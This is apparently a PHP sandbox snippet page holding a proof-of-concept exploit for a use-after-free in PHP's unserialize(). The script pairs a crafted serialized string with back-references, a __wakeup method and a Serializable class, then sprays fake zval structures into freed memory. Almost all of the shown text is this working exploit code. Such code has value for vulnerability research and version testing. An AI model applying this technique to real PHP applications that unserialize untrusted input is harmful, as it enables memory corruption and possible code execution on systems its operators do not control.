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run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'a:2:{i:0;r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

preferences:
53.3 ms | 402 KiB | 5 Q